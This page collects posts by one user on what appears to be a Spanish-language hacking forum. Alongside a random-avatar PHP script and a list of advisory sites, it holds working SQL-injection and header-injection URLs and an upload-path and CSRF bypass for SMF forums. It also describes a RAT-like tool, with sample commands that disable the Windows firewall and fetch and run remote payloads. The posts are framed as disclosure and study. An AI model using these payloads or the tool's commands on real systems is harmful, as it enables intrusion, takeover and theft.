Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - WHK

#361
Realmente ya me aburrí tener que cambiar de avatar cada ves que me aburría de ver uno asi que mejor opté por crear un sistema en php donde subes una cantidad de imagenes a un directorio de tu servidor y este php toma un avatar al azar y lo muestra tal como el mio, si refrescas esta página podrás ver como mi avatar es dinámico. Estas imagenes las vas subiendo tu mismo asi que tendrás un juego de avatares que te gusten sin tener que estar cambiando cada ves que te aburran.

Código (php) [Seleccionar]
<?php
error_reporting
(0);

$extensiones = array('jpg','jpeg','gif','png','bmp','draw','svg','wmf');
$directorio './';
$imagen_de_salva base64_decode(
"iVBORw0KGgoAAAANSUhEUgAAAAsAAAARCAYAAAAL4".
"VbbAAAAQUlEQVQokWP8//8/A7GAiWiVpCpmQRdgZG".
"SEu+v///+MWBUjKyLojP///zOim4RTMTFgVPEgVMw".
"IS8/40gYsGQAA4yQVHW/Zg08AAAAASUVORK5CYII=");

$DIR dir($directorio);
while(
$RES $DIR -> read()){
 if(
filetype($RES) == 'file'){
  
$EXT explode('.',$RES);
  
$EXT $EXT[count($EXT)-1];
  foreach(
$extensiones as $VAL){
   if(
strtolower($EXT) == strtolower($VAL)){
    
$IMG[count($IMG)] = $RES;
$EXTS[count($EXTS)] = $EXT;
   }
  }
 }
}

$VAR rand(0,(count($IMG)-1));
if(!
$EXTS[$VAR]){
 
$EXTS[$VAR] = 'jpg';
}

header('Content-Type: image/'.$EXTS[$VAR]);
header('Cache-Control: no-store, no-cache');
header('Pragma: no-cache');
if(!
$abrir = @fopen($directorio.$IMG[$VAR], 'r')){
 die(
$imagen_de_salva);
}else{
 echo 
fread($abrirfilesize($directorio.$IMG[$VAR]));
 
fclose($abrir);
}

?>


Si la carga de la imagen falla entonces mostrará la imagen de salva que es un número uno.

Ejemplo:
#362
Hasta hace poco Milw0rm ha publicado una falla del sistema MKPortal, conocido por su funcionamiento como brigde entre portal y foro en especial SMF e IPBoard.

El documento se encuentra acá:
http://milw0rm.com/exploits/7796

Mañana me instalaré este sistema para ver que podemos hacer y tratar de entender estas fallas y aprender a usarlas y parcharlas, prevenirlas y protegerse ante ataques.
#364
Primeramente antes de comenzar a lanzar links quiero explicar un poco del porque visitar estos sitios y cuan importante es.

Desde que llegó la automatización de páginas dinámicas también lo hicieron personas con inquietud de saber mas, tanto hackers como delincuentes informáticos y desde entonces también comenzaron a surgir los sitios dedicados a publicar fallas tanto a nivel Software como a nivel web, pero.. ¿Para que me sirve leerlos y entenderlos?

Primeramente si yo tengo a cargo la Administración de un sitio web de una empresa comprenderás que la información puede ser muy delicada y debemos prevenir fugas de cualquier tipo de ellas, también es necesario protegerlo ante atacantes que deseen aprovechar las vulnerabilidades de nuestro sitio para dar como único objetivo a nuestros clientes (por ejemplo la web de una entidad bancaria o sitios de venta online).

Una persona que no tenga los conocimientos para crear su sitio web desde cero le será necesario instalar un sistema prefabricado (CMS acrónimo de Content Management System) donde nada perfecto por lo tanto es necesario que los creadores de esos sistemas estén constantemente actualizándolos y no solamente para que se vean mas bonitos sino para reparar todo tipo de fallas ya sea insignificantes o tan relevantes como para que un atacante tenga acceso al servidor.

Los sitios de Advisories sirven para estar al día con las nuevas fallas y posibles soluciones principalmente de sitios donde sus Administradores (o moderadores en caso de foros) son profesionales en el tema ya en estos lugares se exponen primeramente antes que los demás que suelen ser solo copias de advisories de otros sitios.

En este foro podrás encontrar muchas fallas no publicadas en otros sitios ya que somos un grupo de usuarios al igual que tu que nos apasiona esto de la seguridad informática por lo cual podemos asegurar que tenemos todo lo necesario para satisfacer todas tus espectativas en cuanto a la publicación de Bugs y exploits (pruebas de concepto).

Saludos y bienvenidos!

Algunas definiciones:
0Day: Bug que no ha sido publicado en ningún otro lugar por lo cual tampoco existe ningún tipo de solución publicado.

PoC: Avreviación de Prueba de Concepto o Proof of concept que es la prueba de la falla descrita, esta puede ser un código en algún lenguaje, ejecutables ya creados, etc (Similar al Exploit, a diferencia del PoC que solo sirve para testear una falla el exploit se aprovecha de una falla para sacar algún tipo de provecho).

  • ElHacker.Net, en este lugar podrás encontrar mucha información que no verás en otros sitios debido a que nuestra intención no es lucrativa ni nos proponemos realizar ataques a sitios comprometidos, nuestro conocimiento y ética nos permite llegar mucho mas lejos que otras comunidades que tan solo son copias de la originalidad dándonos la libertad de crear soluciones para todos los mas afectados (Ver también subforo de programación en PHP).

  • Securityfocus nos muestra fallas a nivel WEB y Software donde el 90% de las veces se expone su solución y el 5% de las veces se expone algún tipo de prueba (Idioma: Ingles).
    http://www.securityfocus.com/

  • Milw0rm diseñado y creado por St0ke nos muestra antes que muchos las múltiples vulnerabilidades algunas veces con videos y casi el 99% con una prueba de concepto para testear, generalmente podrás encontrarte con muchos 0Days  (Idioma: Ingles).
    http://milw0rm.com/

  • SecList es un sitio muy recomendado creado por Fydor el creador de NMap donde casi siempre aparecen vulnerabilidades de todo tipo muy detalladamente y muy delante de otros sitios como securityfocus y secunia (Idioma: Ingles).
    http://seclists.org/

  • Packet Storm Security también es un sitio muy recomendable donde encontrarás el 99% de las veces pruebas de concepto para poder probar con ellas en nuestros sistemas y buscar posibles soluciones antes que los oficiales (Idioma: Multi idioma).
    http://packetstormsecurity.org/

    frSIRT es un sitio web donde podrás encontrar todo tipo de fallas tanto a nivel web como a nivel software pero la gran desventaja es que la mayoría de sus publicaciones son solo recopilaciones de otros sitios, de todas formas es un muy buen sitio para mantenerse actualizado si es que no tienes mucho tiempo (Idioma: Ingles y francés).
    http://www.frsirt.com/english/

    Secunia es muy similar a frsirt con la diferencia de que se esfuerzan un poco mas en hacer sus propios descubrimientos, también constan con softwares automatizados para escanear servidores (Idioma: ingles).
    http://secunia.com/

    Zero Day Initiative antiguamente un sitio gratuito pero ahora es necesario pagar para poder ser miembro y tener todas las facilidades de visualizar las últimas fallas sin tener soluciones públicas, como su nombre indica en este lugar solamente se exponen 0Days (Idioma: Ingles).
    http://www.zerodayinitiative.com/

    Xssed es un sitio donde se guarda una colección de vulnerabilidades únicamente de tipo XSS (Cross Site Scripting) (Idioma: Ingles).
    http://xssed.com/

    CGISecurity es un lugar donde encontrarás de todo un poco y entre todo eso también fallas a nivel web, buen sitio para estar al día en cuanto a la seguridad informática en general, muy recomendado. (Idioma: Ingles)
    http://www.cgisecurity.com/

    National Vulnerability Database, ¿Te has preguntado alguna ves donde quedan los bugs publicados con las siglas CVE, CCE, CWE, etc? en este lugar se encuentra la base de datos con todos los bugs reportados oficialmente.(en)
    http://web.nvd.nist.gov/

    Por último la web de advisories mas importante es la del sitio oficial de tu sistema web que por lo general debe tener un boletín o un sistema de noticias para mantenerte al tanto con las actualizaciones de seguridad, algunas de estas se encuentran en el "ChangeLog" que es un texto con todos los cambios sufridos en el sistema según su versión.

    Si no te gusta ninguno de estos sitios y no sabes de algún otro que pueda ayudarte puedes usar Google (aunque suene un poco cruel decir "busca en gogole" es el buscador mas eficiente que podrás encontrar, mas aún si deseas buscar alguna falla para un sistema en especifico (pones el nombre del sistema, versión, un espacio en blanco y la palabra "vuln")).

    Si tienes dudas o consultas para entender alguna función o propiedad puedes hacerlo directamente en el subforo de programación en PHP.

    Si alguien quiere agregar los sitios que generalmente visita puede hacerlo con toda libertad siempre y cuando no sea para publicar un foro ya que eso es considerado Spam a menos que lo incluya dentro de una lista de otros sitios y sin destacarlo dentro de los demás.
#365
Hola, estuve mirando en un post alguien que buscaba bugs a nuvel web solamente y hace pocos dias también se me vino a la mente esto de que en el foro de bugs y exploits se mezcla el nivel web y nivel software, podrían separarlo en dos subforos y ese foro central para los generalizados o simplemente dejar el que ya está pero cambiarle el nombre especificando que es a nivel software y un subforo que diga bugs y exploits a nivel web (o al revés) así como se hizo con hacking avanzado y básico.
#366
Nivel Web / Falla en el mod Seo4SMF para SMF
9 Enero 2009, 09:47 AM
Bueno estas fallas ya fueron reportadas pero no parchadas  :xD aunque en este foro ya se parcharon asi que ayá va el post me peguen o me ahorquen jajaj..



Vamos a estudiar un poco este complemento para foros SMF, aprenderemos como repararlas y a testearlas.

Si solamente te interesa saber cuales son las fallas puedes ir directamente al final de este tema.

Primeramente tenemos que bajar su código fuente e instalarlo en un servidor local para poder entender las fallas e ir sacando conclusiones:
http://www.webmasterstalks.com/tpmod.html;dl=item48

No es de sorprenderse que no les interesa mucho la seguridad ya que en su propio foro utilizan una versión muy vieja de SMF con múltiples fallas ya avisadas y requete avisadas por simplemachines y sitios de advisories.

Bajamos SMF desde acá:
http://download.simplemachines.org/

Una ves ya instalado podemos comprobar algunas de las siguientes fallas.

SQL Inyección
Si no sabes que significa SQLi puedes visitar Google o Wikipedia.
http://www.google.cl/search?hl=es&q=inyecci%C3%B3n+sql&btnG=Buscar+con+Google&meta=
http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL

Nos fijamos bién en el archivo seo4smf-redirect.php y podermos observar de plano las fallas:

Linea 7 al 13
Código (php) [Seleccionar]
$topic = $_GET['t'];
$board = $_GET['b'];
$other = $_GET['o'];
$user = $_GET['u'];
$tpage = $_GET['p'];
$action = $_GET['a'];
$param = $_GET['param'];



Luego el bug propiamente tal:

Linea 50 al 63
Código (php) [Seleccionar]
$query = db_query("
SELECT m.ID_TOPIC, m.subject ,b.ID_BOARD, b.name
FROM {$db_prefix}messages AS m, {$db_prefix}boards AS b
WHERE m.ID_TOPIC = $topic
AND m.ID_BOARD = b.ID_BOARD
IMIT 1", __FILE__, __LINE__);


Linea 105 al 108
Código (php) [Seleccionar]
$query = db_query("
SELECT name FROM {$db_prefix}boards AS b
WHERE ID_BOARD = $board
LIMIT 1", __FILE__, __LINE__);


Linea 125
Código (php) [Seleccionar]
$request = db_query("SELECT memberName FROM {$db_prefix}members where
ID_MEMBER=".$user." limit 1", __FILE__, __LINE__);


Linea 143
Código (php) [Seleccionar]
$request = db_query("SELECT subject FROM {$db_prefix}tp_articles where
id=".$tpage." limit 1", __FILE__, __LINE__);


Ahora como podemos ver estas variables no contienen ningún tipo de filtro asi que procedemos a verificar nuestra inyección sql:

http://localhost/smf/seo4smf-redirect.php?t=-1 union select 1,2,3...(numero de columnas)...,concat(username(),database()) –

y bualá, ahora nos podemos aprovechar un poco mas y consultar a la base de datos el hash delid del administrador mas su password asalt para crearnos nuestra cookie y autentificarnos como administrador para luego subir un módulo infectado con alguna webshell o un php con comandos arbitrarios y obtener el control total del sitio.

Inyección de Headers, XSS y Path Disclosure
Otra falla poco común que podemos ver está en la linea 106 y dice así:

Código (php) [Seleccionar]
if(!empty($url)){
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.$url);
exit;
}


En mi caso lo estuve testeando en un servidor con una versión vieja de PHP que me permite inyectar headers haciendo un salto de linea, normalmente las versiones de ahora te lanza un error diciendo que no puedes declarar mas de un header por función:

http://localhost/seo4smf-redirect.php?a=x%0DLocation:%20javascript:alert(document.cookie);

Nos queda algo así:



En unos casos puedes causar un ataque XSS y en otros casos un Path disclosure ya que cuando el seo4smf te arroje el error de PHP este te revelará el directorio exacto del script dando lugar a otros tipos de ataques como la averiguación del directorio de configuraciones de SMF para un futuro ataque de LFI o Remote arbitrary download file.

Disclosure en temas y nombre de foros
Otra falla es que al momento de redireccionar algún tema este lo hace en el formato host/nombre_del_foro/nombre_del_tema sin verificar si estás autentificado como para diferenciar entre foros privados o no, por ejemplo podrías ingresar en la variable t de topic un tema que no tengas acceso y en la url te devolverá el nombre del foro privado y el nombre del tema aun sin estar logueado, por ejemplo:

http://localhost/seo4smf-redirect.php?t=1.new/topicseen

donde 1 es el número del tema, si no es privado te mostrará el tema normalmente, si es privado te mostrará un mensaje de error diciendo que no tienes acceso o no existe, en el caso de seo4smf te mostrará empty si el tema no existe, ya con eso podemos sacar como conclusión de que podremos crear nuestra propia herramienta que nos rastree desde el topic 1 hasta el último del foro y en el caso de que nos debuelva una url válida pero el contenido diga que no existe o está fuera de tus límites entonces es un foro privado y muchas veces el título dicen tanto como el contenido.



Antes de pasar a la siguente vulnerabilidad les presentaré el software que hize para auditar esta falla y recuerden que es solamente de uso personal y para pruebas locales:



Está hecho claramente para Window$ pero puede hacerse en cualquier lenguaje que se requiera sin esfuerzo mental alguno, la descarga está acá:

http://www.jccharry.com/greencode/filemanager/index.php?wfm-ruta=%2FCreaciones+propias%2FOtros%2Fseo4smf_exploit.zip

Está con su código fuente y todo.

Cross Site Request Forgery e Inyección de código arbitrário
Ahora si pasamos a la siguiente falla que son múltiples CSRF (ver Google y/o Wiki
http://www.google.cl/search?hl=es&q=csrf&btnG=Buscar+con+Google&meta=
http://en.wikipedia.org/wiki/Cross-site_request_forgery) los cuales me permiten modificar todo tipo de dato en el panel de administración de Seo4SMF remotamente. Supongamos que yo atacante hago una web donde hay un formulario que se envía por si solo hasta la web del atacante, en ese casi si la visita el Administrador y este está logueado podremos modificar lo que sea enviando variables en los formularios.  El CSRF con mayor peligrosidad es poder modificar totalmente el archivo .htaccess de la raiz del directorio del foro teniendo la posibilidad de un desface total.Las configuraciones guardadas por este panel de Administración (http://localhost/seo4smfadmin.html) son puestas dentro de un archivo XML dando la posibilidad de inyectar parámetros o códigos arbitrarios al no existir ningún tipo de filtro, por ejemplo en una variable cualquiera puedes enviar "</xml><?php...." dejando un código PHP arbitrario que puede ser llamado posteriormente por una falla de tipo File Inclusión Local (LFI http://www.google.cl/search?hl=es&sa=X&oi=spell&resnum=1&ct=result&cd=1&q=local+file+inclusion&spell=1) ejecutando con éxito comandos arbitrarios de cualquier tipo sin que las configuraciones de un mod evasive o mod rewrite nos afecte ya que los datos viajan via POST y no via GET para que pueda ser procesada en %REQUEST_URI%.

Estas fueron solo algunas de las tantas fallas que incluye este sistema tán útil pero tán inseguro al mismo tiempo. Es dificil creer que los programadores de hoy todavía no les interese esto de la seguridad, después se quejan desgastandose en demandas cuando lo que tienen que hacer es leer y aprender de una buena ves por todas.

Fuente: http://www.jccharry.com/blog/2009/01/09/whk_fallas-criticas-en-seo4smf-para-foros-smf-simplemachines-forum.html

Esto solo son unas pocas fallas porque el sistema no contempla ningún tipo de filtro para nada asi que se puede encontrar de todo.
#367
WarZone / B4
4 Enero 2009, 21:03 PM
Tengo un problema de hace tiempo con esta prueba ya que todo lo que le ingreso me dice que está correcto, de esta forma no puedo saber si todo va bien o mal  :-\

CitarC:\Documents and Settings\Yan\Escritorio\warzone>wzcm
WarZone Crackme - B4

Nombre: 0
Pass: 0
Falta operando.
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
El sistema no encuentra la etiqueta por lotes especificada: x
Falta operando.
Falta operando.
Correcto

C:\Documents and Settings\Yan\Escritorio\warzone>wzcm
WarZone Crackme - B4

Nombre: 999
Pass: pass
Número no válido . Las constantes numéricas son decimales(17),
hexadecimales (0x11), u octales (021).
El sistema no encuentra la etiqueta por lotes especificada: opcion
Error de división por cero.
El sistema no encuentra la etiqueta por lotes especificada: x~15
El sistema no encuentra la etiqueta por lotes especificada: x~0
El sistema no encuentra la etiqueta por lotes especificada: x~14
El sistema no encuentra la etiqueta por lotes especificada: x~1
El sistema no encuentra la etiqueta por lotes especificada: x~13
El sistema no encuentra la etiqueta por lotes especificada: x~2
El sistema no encuentra la etiqueta por lotes especificada: x~12
El sistema no encuentra la etiqueta por lotes especificada: x~3
El sistema no encuentra la etiqueta por lotes especificada: x~11
El sistema no encuentra la etiqueta por lotes especificada: x~4
El sistema no encuentra la etiqueta por lotes especificada: x~10
El sistema no encuentra la etiqueta por lotes especificada: x~5
El sistema no encuentra la etiqueta por lotes especificada: x~9
El sistema no encuentra la etiqueta por lotes especificada: x~6
El sistema no encuentra la etiqueta por lotes especificada: x~8
El sistema no encuentra la etiqueta por lotes especificada: x~7
Sobran o faltan paréntesis.
Falta operando.
Correcto
¿Desea terminar el trabajo por lotes (S/N)? s

C:\Documents and Settings\Yan\Escritorio\warzone>

Supongo que habrá alguna parte donde ya no arroje errores para decir que ya está correcto pero de todas formas es un lio.
#368
WarZone / ¿Ê„Ô
4 Enero 2009, 06:46 AM
Así es, tal como aparece en el título :p, me topé con este reto en el warzone donde necesitas saber el algoritmo de descifrado.

¿Ê,,Ô
Son cuatro carácteres que suponen ser cabezeras de archivos formados por un algoritmo de doble via ya que esta cabezera lo comparten numerosos archivos.. ahora siguiendo la pista del nombre del paquete pude deducir que es %png mas un salto de linea solo que los saltos de lineas no están considerados en los cifrados asi que gracias a eso pude deducir masomenos por donde va el asunto.

Ahora la gran duda y creo que por ahi comienza el verdadero reto es como está cifrado teniendo ¿Ê,,Ô como %png? :p traté de hacer calzar alguna lógica con los numeros decimales y octales pero no logré nada  :P de seguro debe estar cifrado en algún sistema con una llave, no se porque presiento eso y si es así habría que adivinar el algoritmo y luego crackear la llave quien sabe  :P.

Hasta ahi no puedo decir mas sobre los archivos ya que no todos pueden ver ese reto y para llegar a ese archivo hay mas obstaculos  :P

Alguna pista??

PD: también estoy pegado en el ferrocarril  :xD
PD2: me acabo de dar cuenta de que si necesitas una llave para descifrar eso XD, ahora toca saber que es para crear el bot que me haga el trabajo con un wordlist (le paso el de john XD), si fuera así saldría mas fácil y rápido crackear la respuesta directamente desde el reto con peticiones get masivas :P
#369
Diseño Gráfico / Ayuda para el foro de php
21 Diciembre 2008, 06:52 AM
Hola, quería pedirles un poco de ayuda para el logo de un proyecto en el foro de php, este se llama php*libs. Si alguien pudiera darnos una mano sería genial porque soy un desastre en el photoshop  :xD

http://foro.elhacker.net/php/proyecto_phplibs_creado_por_los_usuarios_de_elhackernet-t239182.0.html

De antemano muchas gracias  ;)
#370
PHP*LIBS

Versión 1.0.4 Beta
Descarga: x
Web Oficial: http://proyectos.elhacker.net/php-libs/

Integrando el PHPLIBS a mi script o Sistema

1. Primeramente nuestro script debe estar diseñado en el lenguaje PHP, en la primera linea debemos abrir tag "<?php" y hacer una inclusión hacia nuestro sistema PHPLIBS. Por defecto la ruta del sistema será "php_libs/index.php" como se destaca en la siguiente imagen.



Es importante que la implementación del sistema sea sobre la linea inicial del script debido a que pueden generarse envíos de headers que pueden causar problemas al sistema WEB.

2. Normalmente el directorio preestablecido es "php_libs" como se detalla en la siguiente imagen.



Una ves hecho esto ya puedes disfrutar de toda la flexibilidad de nuestro sistema.

3. (Opcional) Si deseas modificar el directorio del sistema PHPLIBS debes declararlo (establecer) en el archivo de inicio "php_libs/index.php" en la siguiente linea: $PHPLIBS['DIR_CLASS'] = 'php_libs/'; // Directorio del sistema
Tal como se indica en la siguiente imagen.



Funciones disponibles
http://proyectos.elhacker.net/php-libs/funciones



Bueno, este es un proyecto donde se tomarán las classes y funciones mas útiles para agregarlo a una serie de librerías que tendrá un sistema llamado PHP*LIBS el cual se podrá utilizar con todo tipo de sistema web.

La idea es que si alguien tiene alguna idea buena para hacer algo ya sea automatización, seguridad, etc .. lo que sea pueda aparecer en este sistema, obviamente solo creado por nosotros, los que quieran adjuntar algún script puede postearlo acá mismo con el link o con su código directamente si no es muy grande.
Idealmente no poner nombre de funciones repetidas porque no serán tomadas en cuenta al momento de ser ejecutadas para evitar errores de ejecución, una idea es comenzar la función por el nombre de su nick como por ejemplo whk_filtrar_fechas().
Las personas que sean parte del proyecto tendrán un directorio a su disposición para hacer lo que deseen siempre y cuando no supere 1MB por el momento, por lo cual podrán dar diseño a sus propios scripts y crear sus propias constantes y variables dentro del mismo entorno, en caso que fuera asó podrán enviar sus actualizaciones comprimidas en un zip para ser revisados y adjuntados. Los desarrolladores del sistema deberán adjuntar un texto con las funciones utilizables para poder adjuntarlo al archivo readme.txt.

Los códigos serán previamente revisados para evitar fallas de código y seguridad.

La descarga del archivo y sus versiones serán dadas cuando salgan de su etapa "BETA".

Para testers la primera versión beta está acá:
Descargar
Versión 1.0.3 Beta.

Lo hubiera subido a mi servidor pero después dicen que hago spam  :xD

Talves pueda pedir un poco de ayuda en el foro de diseño para un logo  :P ya que por ahora solo está hecho en figlet

____  _   _ ____       _     ___ ____ ____  
|  _ \| | | |  _ \__/\_| |   |_ _| __ ) ___|
| |_) | |_| | |_) \    / |    | ||  _ \___ \
|  __/|  _  |  __//_  _\ |___ | || |_) |__) |
|_|   |_| |_|_|     \/ |_____|___|____/____/
#371
PHP / Reemplazar funciones
6 Diciembre 2008, 22:19 PM
Una pregunta poco común, alguien sabe como podría intercambiar funciones y reemplazar una función por otra?

Por ejemplo que la función eval() funcione como si fuera printf()  :xD bueno con eso ya deben saber para que es, la idea es descifrar un cifrado que hace una librería de php que según yo debe ejecutar todo el buffer final en un eval.

estuve pensando que talves pueda hacerse con ini_set pero no me funcionó, redeclarando funciones tampoco, talves hay que establecer un unset a una función o algo así aver si alguien sabe.

De antemano grax.
#372
PHP / [Proyecto] El Maletín (Fuente)
17 Noviembre 2008, 21:34 PM
El maletín 1.2 Beta

Bueno, este no es un script para una web, sino la fuente para un archivo binario ejecutable para Win32.

Ahora ustedes dirán:
Citar:o de php a exe??
Así es, con el BamCompiler.

De que se trata?... Es un software de administración remota donde la idea es que contenga todas las herramientas mas simples y necesarias para la buena y cómoda administración de una shell remota.

Expongo acá su código fuente para ver si me pueden apoyar en algunas lineas y dar ideas, etc.

Si alguien quiere ofrecerse de BetaTester pueden hacerlo en el subforo de "Análisis de malware".

La idea principal de este software es poder hacer pruebas localmente o remotamente pidiendoles la cooperación de la persona involucrada tal como se los estoy pidiendo yo, en ningún caso debe utilizarse para administrar un sistema que no sea de nuestra propiedad o sin el concentimiento de su dueño. Esto es para evitar problemas legales y poder comprender como protegernos ante ataques remotos sin la necesidad de presindir por el antivirus ya que hasta la fecha no es detectado por ningún sistema antimalware ni antivirus a exepción ovbiamente de los Firewalls, aunque con unas pequeñas funciones pueden deshabilitarse tal como lo programé para el firewall de Windows XP y Vista.

Descargar Fuente

Como pueden ver muchas de las funciones están sin crear ya que en php no hay Handle que puedas utilizar para alguna función, por lo cual me veo casi obligado a utilizar softwares externos como por ejemplo "REG" y "wmic".

Binario y Pruebas con el binario en este subforo:
http://foro.elhacker.net/analisis_y_diseno_de_malware/proyecto_el_maletin-t234529.0.html
#373
Abril negro / [Proyecto] El Maletín (Binario)
10 Noviembre 2008, 02:28 AM
El maletín



Versión 1.3 Beta - Descargar acá

Código Fuente: https://foro.elhacker.net/php/proyecto_el_maletin_fuente-t235451.0.html

Antes que nada quiero aclarar que esta herramienta es para "Administración Remota" de código libre por lo tanto no viola ningún tipo de norma legal.
Está demás decir que solo se permite su ejecución en un ambiente controlado donde el propietario de la pc controlada tenga consiencia del hecho.



¿De que se trata?


  • Es un software que tiene todas las herramientas mas útiles al momento de ingresar en un sistema en modo consola debido a que no depende de un modo gráfico (GUI).

  • Entre algunas opciones El Maletín permite la codificación y decodificación de múltiples algoritmos como MD5 y Base64.

  • También permite la ejecución de comandos en modo "SYSTEM NT AUTORITY" accediendo a un nivel mas alto que el propio administrador accediendo a la manipulación de servicios del sistema entre otros. El Maletín tiene la capacidad de ejecutar estos comandos en modo de interacción con el escritorio y sin el, en otras palabras oculto o segundo plano.

  • Contiene un sistema de descarga de archivos remotos tales como archivos de websites (Downloader).

  • Tiene la capacidad de realizar la administración remotamente sin la necesidad de sistemas remotos extras tales como Netcat, Telnet y SSH debido a que incorpora un sistema de conexión pipeada atraves de Sockets.

  • Tiene la capacidad de crear o eliminar extensiones de archivos ejecutables, por ejemplo hacer que un archivo .jpg se comporte como un .exe tal cual lo hace "Extension Creator" pero con la diferencia de tener la posibilidad de revertir este efecto.

  • También es capaz de habilitar o deshabilitar el Firewall de Windows que viene por defecto en Windows XP y Vista en caso de ser necesario como la utilización de la conexión del mismo Maletín.

CitarD:\Laboratorio\Proyectos\el maletin>mt -hv
→ El Maletin V1.2 Beta por WHK
Uso: mt -[Argumentos] [valores]

-------------------------------------------------------------------------------
Argumento* : v
Descripcion: Activa el modo verbose.
-------------------------------------------------------------------------------
Argumento* : !v
Descripcion: Desactiva todos los mensajes.
-------------------------------------------------------------------------------
Argumento  : h
Descripcion: Visualiza la ayuda.
-------------------------------------------------------------------------------
Argumento  : md5 [buffer]
Descripcion: Cifra el buffer basado en el algoritmo MD5.
-------------------------------------------------------------------------------
Argumento  : b64e [buffer]
Descripcion: Cifra el buffer basado en el algoritmo Base64.
-------------------------------------------------------------------------------
Argumento  : b64d [buffer]
Descripcion: Descifra el buffer basado en el algoritmo Base64.
-------------------------------------------------------------------------------
Argumento  : d [URL] [Salida]
Descripcion: Descarga un archivo desde una URL basado en el protocolo HTTP,
             HTTPS y FTP. Si se omite [Salida] se guardara con su nombre
             original.
-------------------------------------------------------------------------------
Argumento  : i [Direccion IP] [Puerto]
Descripcion: conexión inversa que permite manipular remotamente una Shell
             desde un servidor especificando su direccion Ip y Puerto.
-------------------------------------------------------------------------------
Argumento  : e [Comandos]
Descripcion: Ejecuta los comandos deseados dentro de la Shell.
-------------------------------------------------------------------------------
Argumento  : esi [Comandos]
Descripcion: Ejecuta los comandos deseados dentro de la Shell con derechos del
             sistema (NT Autority) en modo interactivo con el escritorio.
-------------------------------------------------------------------------------
Argumento  : esb [Comandos]
Descripcion: Ejecuta los comandos deseados dentro de la Shell con derechos del
             sistema (NT Autority) en modo background (segundo plano o
             invisible).
-------------------------------------------------------------------------------
Argumento  : ext [extensión]
Descripcion: Establece la extensión como ejecutable.
-------------------------------------------------------------------------------
Argumento  : fw [Modo]
Descripcion: Modo=[on - off] Habilitar/Deshabilitar firewall de Windows
-------------------------------------------------------------------------------
Argumento  : unext [extensión]
Descripcion: Elimina la extensión ejecutable.
-------------------------------------------------------------------------------
Argumento  : -info
Descripcion: Despliega la informacion completa del sistema.
-------------------------------------------------------------------------------
(*) = Puede ejecutarse simultaneamente adicionalmente sobre otros argumentos
Ejemplos:
→ mt -md5 Palabras con espacios... > buffer.log
→ mt -b64d < codificado.reg > decodificado.txt
→ mt -b64e < bin.exe > bin_cifrado.exe
→ type texto.txt | mt -b64e > cifrado.txt
→ mt -fw off&&cd %%tmp%%&&md IO&&cd IO&&mt -d http://host/vnc.packed IO.packed
→ copy mt.exe %tmp%\mt.exe && mt -!vesb %tmp%\mt -d!v http://host/script.dat scr
ipt ^&^& mt ^< script && del /f /q mt.exe && exit
En el caso de asignar un [buffer] este puede ser establecido con espacios en bla
nco sin la necesidad de encerrarlos en comillas ya que estas se consideraran par
te del mismo buffer.

D:\Laboratorio\Proyectos\el maletin>
#374
Nivel Web / SMF 1.1.6 multiples fallas
6 Noviembre 2008, 09:00 AM
Simple Machines Forum (SMF) 1.1.6 Code Execution Exploit
http://milw0rm.com/exploits/6993

Simple Machines Forum <= 1.1.6 (LFI) Code Execution Exploit
http://milw0rm.com/exploits/7011

En ambos casos es posible causar la ejecución de códigos o subir directamente una shell como un r57 o un c99 aunque es necesario que el atacante pueda subir archivos adjunto en un post para poder ejecutar cualquiera de estos dos exploits donde uno se trata de un LFI y el otro de paquetes autoinstalables sin la verificación de un sesc.

En el primer exploit aparece lo siguiente:
Citar$this->url->package = '../attachments/' . $this->url->package;
SMF te devolverá un error ya que filtra si alguien intenta escapar del directorio de paquetes, modificamos por lo siguiente:
Citar$this->url->package = './../attachments/' . $this->url->package;
Solo verifica que los primeros tres carácteres no sean '../' asi que le anteponemos './' y ya.

También descubrí otro bypass que permite instalar paquetes sin verificar la extension del archivo, ahora dicen 'para que sirve?'... supongamos que nuestro foro objetivo solo deja subir archivos jpg, renombramos el paquete con la shell a *.jpg y listo, luego decimos las palabras mágicas..
http://127.0.0.1/foro/index.php?action=packages;sa=install2;package=... ...test.jpg
dentro de un xsrf ovbio hacia el admin y ya está instalado bypaseando el path antihacking  :P y la extensión del archivo.

Algo muy curioso es que después de tres dias nadie se haya dado cuenta, ni los de simplemachines ya que no hay parche ni post en la sección de bugs ni en ninguna otra comunidad.

No pierdan el tiempo, ya probé con foros amigos y no dejan subir nada  :P
El admin de este foro ya tomó las medidas necesarias para evitar catastrofes  :xD
#375
PHP / $_POST no funciona
2 Noviembre 2008, 16:31 PM
Hola, tengo un problema en mi servidor y es que no funciona el array $_POST, como yo no soy el único que manipula los archivos de configuraciones no se que pudo haber pasado.
Talvés algo en la configuración del PHP o del Apache no lo sé.

Cuando intento ingresar en algún sistema del servidor como por ejemplo en el phpmyadmin no me deja y probando lo siguiente:
Código (php) [Seleccionar]
$probar = array($_COOKIE,$_POST);

for($cuenta=0;$cuenta<count($probar);$cuenta++){
if($probar[$cuenta] == $_COOKIE){
  $array = '$_COOKIE';
}else{
  $array = '$_POST';
}
foreach($probar[$cuenta] as $variable => $valor){
   echo '<br />Arrays: '.$array.' Variable: '.$variable.' Valor: '.$valor.'<br />';
}
}

exit(0);


Me aparecen las cookies pero la petición POST para loguearme no.

Ahora lo pruebo directamente:
Código (php) [Seleccionar]
echo 'pma_username : '.$_POST['pma_username'].'<br />';
echo 'pma_password : '.$_POST['pma_password'].'<br />';


Y nada:
Citarpma_username :
pma_password :

Alguien sabe que pudo probocar que el array $_POST deje de funcionar?
